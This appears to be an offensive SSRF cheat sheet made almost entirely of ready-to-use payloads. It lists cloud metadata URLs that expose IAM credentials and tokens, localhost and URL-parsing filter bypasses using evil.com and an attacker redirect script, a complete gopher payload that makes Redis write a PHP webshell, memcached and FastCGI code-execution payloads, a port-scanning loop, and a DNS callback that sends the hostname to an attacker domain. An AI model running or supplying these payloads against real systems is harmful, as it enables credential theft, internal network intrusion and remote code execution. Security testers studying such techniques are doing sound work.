- Basic SSRF
- Cloud Metadata Endpoints
- SSRF Protocols
- Bypass Techniques
- SSRF to RCE
- Blind SSRF
- Tools
- See Also
# Test SSRF with common internal targets
for target in "http://127.0.0.1" "http://localhost" "http://169.254.169.254/latest/meta-data/"; do curl -s "http://$rhost/fetch?url=$target"; doneTest for SSRF with external callback
# Start listener
nc -lvnp 80
# Or use Burp Collaborator / interactsh
interactsh-client
Common SSRF parameters
url=
uri=
path=
dest=
redirect=
redirect_uri=
out=
view=
page=
callback=
domain=
feed=
host=
to=
link=
load=
img=
src=
target=
proxy=
Internal services
http://127.0.0.1/
http://localhost/
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:22/
http://127.0.0.1:3306/
http://127.0.0.1:6379/
http://127.0.0.1:9200/
Internal network scanning
http://192.168.0.1/
http://10.0.0.1/
http://172.16.0.1/
http://192.168.1.1:8080/
Instance Metadata Service v1 (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
Instance Metadata Service v2 (IMDSv2) - Token required
# Get token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Use token
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/Credentials extraction
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
http://169.254.169.254/metadata/instance/network?api-version=2021-02-01
Managed Identity Token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Note: Azure requires header
Metadata: true
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"Compute Metadata
http://169.254.169.254/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/instance/
http://169.254.169.254/computeMetadata/v1/instance/hostname
http://169.254.169.254/computeMetadata/v1/instance/zone
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/
http://169.254.169.254/computeMetadata/v1/project/project-id
Note: GCP requires header
Metadata-Flavor: Google
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/Droplet Metadata
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/
http://169.254.169.254/metadata/v1/dns/
http://169.254.169.254/metadata/v1/user-data
Instance Metadata
http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v1/instance/metadata/
http://169.254.169.254/opc/v2/instance/
http://169.254.169.254/opc/v2/instance/metadata/
ECS Metadata
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/hostname
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Standard HTTP request
http://127.0.0.1:80/
https://127.0.0.1:443/
http://internal-server/admin
Read local files (if file:// allowed)
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file://localhost/etc/passwd
Interact with TCP services (Redis, SMTP, etc.)
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:6379/_CONFIG%20GET%20*
Gopher format
gopher://<host>:<port>/_<payload>
URL encode newlines as %0d%0a
Dictionary service protocol
dict://127.0.0.1:6379/INFO
dict://127.0.0.1:6379/CONFIG%20GET%20*
dict://127.0.0.1:11211/stats
FTP requests
ftp://127.0.0.1:21/
ftp://user:pass@127.0.0.1:21/
Alternative representations of 127.0.0.1
http://127.0.0.1
http://localhost
http://127.1
http://127.0.1
http://0.0.0.0
http://0
http://2130706433 # Decimal
http://0x7f000001 # Hex
http://017700000001 # Octal
http://[::1] # IPv6 localhost
http://[0:0:0:0:0:0:0:1] # IPv6 full
http://[::ffff:127.0.0.1] # IPv6 mapped IPv4
http://127.0.0.1.nip.io
http://localtest.me
http://127.0.0.1.xip.io
CNAME to localhost
http://spoofed.burpcollaborator.net # Configure DNS to resolve to 127.0.0.1
Server that alternates between attacker IP and 127.0.0.1
# Use services like:
# - rbndr.us
# - lock.cmpxchg8b.com
# - A record switching
http://7f000001.c0a80001.rbndr.us/ # Alternates between 127.0.0.1 and 192.168.0.1URL parsing confusion
http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com/
http://127.0.0.1%23@evil.com/
http://127.0.0.1:80@evil.com/
http://evil.com\@127.0.0.1/
http://127.0.0.1%2523@evil.com/
Using credentials in URL
http://user:password@127.0.0.1/
http://expected-host@evil.com/
Subdomain bypass
http://127.0.0.1.evil.com/
http://evil.127.0.0.1.com/
URL encoding
http://127.0.0.1 -> http://%31%32%37%2e%30%2e%30%2e%31
http://localhost -> http://%6c%6f%63%61%6c%68%6f%73%74
Double URL encoding
http://127.0.0.1 -> http://%25%33%31%25%33%32%25%33%37...
Unicode encoding
http://127.0.0.1 -> http://①②⑦.⓪.⓪.①
Open redirect to bypass SSRF filters
# Host redirect script on attacker server
# redirect.php:
<?php header("Location: http://127.0.0.1:6379/"); ?>http://$lhost/redirect.php?url=http://127.0.0.1/
http://attacker.com/redirect?url=http://169.254.169.254/
Use URL shorteners
http://bit.ly/xyz # Shortened URL pointing to localhost
Generate Gopher payload using Gopherus
python3 gopherus.py --exploit redisRedis webshell via gopher
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$34%0d%0a%0a%0a<?php system($_GET['cmd']); ?>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
Memcached command injection
gopher://127.0.0.1:11211/_stats%0d%0a
gopher://127.0.0.1:11211/_set%20x%200%20100%2050%0d%0a<?php%20system($_GET['cmd']);%20?>%0d%0a
FastCGI RCE via Gopherus
python3 gopherus.py --exploit fastcgiPayload to execute PHP
gopher://127.0.0.1:9000/_<fastcgi_payload>
Internal Jenkins
http://127.0.0.1:8080/script
# Execute Groovy script
Internal Elasticsearch
http://127.0.0.1:9200/_search?q=*
http://127.0.0.1:9200/_cat/indices
Internal Docker API
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/images/json
Detect via timing differences
# Internal port open (fast response)
http://127.0.0.1:22/
# Internal port closed (slow/timeout)
http://127.0.0.1:12345/Detect via external callback
# Use Burp Collaborator or interactsh
http://attacker.burpcollaborator.net/
# DNS-based detection
http://ssrf.$(hostname).attacker.com/Port scanning via response time
# Fast response = port open
# Timeout = port closed or filtered
for port in 22 80 443 3306 6379 8080; do
curl -o /dev/null -s -w "%{time_total}\n" "http://target.com/fetch?url=http://127.0.0.1:$port/"
doneGenerate gopher payloads for SSRF exploitation
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit fastcgi
python3 gopherus.py --exploit mysql
python3 gopherus.py --exploit postgresql
python3 gopherus.py --exploit zabbix
python3 gopherus.py --exploit smtpSSRF exploitation tool
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
python3 ssrfmap.py -r request.txt -p url -m portscan
python3 ssrfmap.py -r request.txt -p url -m readfiles
python3 ssrfmap.py -r request.txt -p url -m redisOut-of-band detection
# Install
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Run
interactsh-client- File Inclusion - LFI/RFI techniques
- Command Injection - OS command injection
- XXE - XXE for internal network access
- Redis - Redis exploitation